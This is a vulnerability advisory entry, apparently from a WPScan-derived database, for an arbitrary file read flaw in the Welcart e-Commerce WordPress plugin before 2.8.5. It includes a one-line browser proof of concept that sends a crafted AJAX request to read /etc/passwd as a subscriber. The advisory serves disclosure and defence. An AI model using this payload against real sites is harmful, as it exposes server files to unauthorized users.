Lucene search

K
wpvulndbWpvulndbWPVDB-ID:436D8894-DAB8-41EA-8ED0-A3338ADED635
HistoryDec 05, 2022 - 12:00 a.m.

Welcart e-Commerce < 2.8.5 - Subscriber+ Arbitrary File Access

2022-12-0500:00:00
wpscan.com
7
welcart e-commerce
arbitrary file access
ajax action
authenticated users
subscriber
server files

0.001 Low

EPSS

Percentile

29.7%

The plugin does not validate user input before using it to output the content of a file via an AJAX action available to any authenticated users, which could allow users with a role as low as subscriber to read arbitrary files on the server.

PoC

Run the below command in the developer console of the web browser while being on the blog as subscriber user fetch(“/wp-admin/admin-ajax.php”, { “headers”: { “content-type”: “application/x-www-form-urlencoded”, }, “method”: “POST”, “body”: ‘action=wel_check_progress_ajax&progressfile;=/etc/passwd’, “credentials”: “include” }).then(response => response.text()) .then(data => console.log(data));

CPENameOperatorVersion
usc-e-shoplt2.8.5

0.001 Low

EPSS

Percentile

29.7%

Related for WPVDB-ID:436D8894-DAB8-41EA-8ED0-A3338ADED635